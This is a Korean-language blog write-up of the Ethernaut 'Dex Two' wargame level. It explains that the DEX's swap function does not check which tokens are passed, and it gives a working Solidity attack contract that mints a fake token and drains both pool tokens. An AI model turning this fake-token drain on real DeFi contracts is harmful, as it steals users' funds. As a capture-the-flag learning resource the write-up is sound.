1586 words
8 mins
Ethernaut 23 Dex Two

문제#

지문#

이 문제의 목표는 이전 Dex를 조금 바꾼 DexTwo 컨트랙트에서 token1token2의 잔액을 모두 빼내는 것이다. 플레이어는 token1 10개와 token2 10개를 가지고 시작한다. DexTwo 컨트랙트는 두 토큰을 각각 100개씩 가지고 있다. 이전 문제와 달리 성공 조건은 둘 중 하나만 0으로 만드는 것이 아니라, DEX가 가진 token1token2를 모두 0으로 만드는 것이다. 이전 Dex와 달라진 부분은 swap의 토큰 제한이다. 이전 Dex에는 스왑 가능한 토큰을 token1token2로 제한하는 조건이 있었지만, DexTwo에서는 그 조건이 빠져 있다.

코드#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

배경지식#


이 문제의 DEX는 실제 AMM처럼 불변식을 유지하지 않는다. 단순히 컨트랙트가 가진 from 토큰과 to 토큰의 현재 잔액 비율만 보고 받을 수량을 계산한다.

swapAmount=amount×balance(to)balance(from)swapAmount = amount \times \frac{balance(to)}{balance(from)}

from 토큰의 DEX 잔액이 작고 to 토큰의 DEX 잔액이 크면, 아주 적은 from 토큰으로 많은 to 토큰을 받을 수 있다.


IERC20(from)처럼 주소를 ERC20 인터페이스로 캐스팅하면, 컨트랙트는 그 주소가 정말 token1 또는 token2인지 알 수 없다. 해당 주소에 balanceOf, transferFrom, approve 같은 함수가 있고 정상적으로 동작하면 ERC20 토큰처럼 사용할 수 있다. 즉 swap에서 fromto를 검증하지 않으면 공격자가 직접 만든 토큰도 가격 공식에 들어갈 수 있다.


swap은 마지막에 IERC20(from).transferFrom(msg.sender, address(this), amount)를 호출한다. 이 호출의 실제 실행자는 DexTwo 컨트랙트이므로, DexTwomsg.senderfrom 토큰을 가져갈 수 있도록 allowance가 필요하다. 공격 컨트랙트가 직접 만든 토큰을 from으로 사용할 경우, 공격 토큰 컨트랙트 안에서 DexTwo에게 allowance를 미리 주면 된다.

문제 코드 분석#


이전 Dex의 swap에는 다음 조건이 있었다.

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

하지만 DexTwoswap에서는 이 조건이 사라졌다.

function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

여기서 확인하는 것은 msg.senderfrom 토큰을 amount 이상 가지고 있는지뿐이다. fromtoken1이나 token2인지, to가 둘 중 하나인지 확인하지 않는다. 공격자는 직접 만든 T3 토큰을 from으로 넣고, to에는 빼내고 싶은 token1 또는 token2를 넣을 수 있다.


이제 가격 계산과 분모 조작을 보자.

function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

공식의 분모는 DEX가 가진 from 토큰 잔액이다. 공격자가 만든 T3from으로 쓰면, DEX가 가진 T3 잔액도 공격자가 정할 수 있다. 만약 DEX에 T3를 1개만 넣어둔 상태에서 T3 -> token1로 1개를 스왑하면 계산은 다음과 같다.

1×1001=1001 \times \frac{100}{1} = 100

T3 1개로 DEX의 token1 100개를 전부 받을 수 있다. 첫 번째 스왑 이후에는 DEX가 공격자로부터 T3 1개를 받으므로 DEX의 T3 잔액은 2개가 된다. 이제 T3 -> token2로 2개를 스왑하면 다음 계산으로 token2도 전부 빠진다.

2×1002=1002 \times \frac{100}{2} = 100

마지막으로 외부 토큰 전송 흐름을 보자.

IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);

첫 번째 줄에서 DEX는 from 토큰을 공격자로부터 가져온다. from이 공격자가 만든 토큰이면, 공격 토큰 컨트랙트에서 DEX에게 충분한 allowance를 주면 된다. 두 번째와 세 번째 줄은 DEX가 가진 to 토큰을 msg.sender에게 보내는 흐름이다. 이 문제의 원래 토큰들은 표준 ERC20을 상속하므로, DEX가 자기 자신에게 approve한 뒤 transferFrom(address(this), msg.sender, swapAmount)로 보낼 수 있다. 공격자가 해야 할 일은 DEX에 T3 1개를 넣어 가격 공식의 분모를 작게 만들고, 공격 컨트랙트에는 이후 스왑에 사용할 T3를 충분히 들고 있게 하는 것이다.

풀이#

공격 토큰을 T3라고 하자. 시작할 때 DEX는 token1 = 100, token2 = 100을 가지고 있다. 공격 컨트랙트의 생성자에서 T3를 총 4개 만든다. 그중 1개는 DEX에게 민팅하고, 3개는 공격 컨트랙트가 들고 있게 한다. 이렇게 하면 첫 번째 스왑의 분모가 0이 되는 것도 피하고, DEX의 T3 잔액을 공격자가 원하는 값으로 맞출 수 있다. 첫 번째로 T3 -> token1amount = 1로 호출한다. DEX의 T3 잔액은 1개이므로 1 * 100 / 1 = 100이 되고, token1 100개가 빠진다. 이 스왑이 끝나면 DEX의 T3 잔액은 2개가 된다. 두 번째로 T3 -> token2amount = 2로 호출한다. 이번에는 2 * 100 / 2 = 100이므로 token2 100개도 전부 빠진다. 따라서 DEX의 token1token2 잔액이 모두 0이 되어 레벨 조건을 만족한다.

익스플로잇#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IDexTwo {
function swap(address from, address to, uint256 amount) external;
function token1() external view returns (address);
function token2() external view returns (address);
}
contract Attack is ERC20 {
IDexTwo d2;
constructor(address _addr) ERC20("T3", "t3") {
d2 = IDexTwo(_addr);
_mint(address(this), 3);
_mint(_addr, 1);
_approve(address(this), _addr, 100000);
}
function attack() public {
address t1 = d2.token1();
address t2 = d2.token2();
d2.swap(address(this), t1, 1);
d2.swap(address(this), t2, 2);
}
}

screenshot

Ethernaut 23 Dex Two
https://0xaxii.github.io/posts/ethernaut-23-dex-two/
Author
Axii
Published
2026-05-07
License
CC BY-NC-SA 4.0